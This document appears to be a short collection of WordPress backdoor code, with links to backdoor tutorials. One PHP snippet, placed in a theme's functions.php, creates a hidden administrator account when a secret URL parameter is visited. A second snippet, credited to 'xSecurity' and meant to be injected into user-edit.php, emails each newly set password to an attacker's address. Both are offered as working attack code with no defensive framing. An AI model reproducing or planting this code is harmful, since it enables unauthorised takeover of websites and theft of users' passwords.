wp-add-user&infecting

https://doblercarranco.com/como-hacer-un-backdoor-en-wordpress/
https://josvermeulen.com/snippet/backdoor-in-wordpress/
https://forum.freecodecamp.org/t/php-backdoor-to-wp-complete-guide-to-whom-it-may/424398

place the code in the PHP section in your themes functions.php file and upload to your web server.
/?backdoor=crea

add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
         if ($_GET['backdoor'] == 'crea') {
            require('wp-includes/registration.php');
            if (!username_exists('backdoor')) {
                   $user_id = wp_create_user('backdoor', 'my-password');
                   $user = new WP_User($user_id);
                   $user->set_role('administrator');
              echo 'Puerta trasera creada';
                 die();
            }
         }
}


##############################################
# By     : xSecurity                         #
# Home   : www.sec4ever.com                  #
# Greets : b0x [ Zaid ]                      #
# Inject : /home/user/wp-admin/user-edit.php #
# Note   : Don't Forget Change Email :)      #
##############################################

/**
 * start infecting
 */
if($_POST['submit'])
    {
    $mail = "[email protected]";
    $subj = "Information URL : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUSET_URI'];
    $mseg = "PASSWORD :" . $_POST['pass2'];
    $func = @mail($mail, $subj, $mseg);
    }
/**
 * end infecting
 */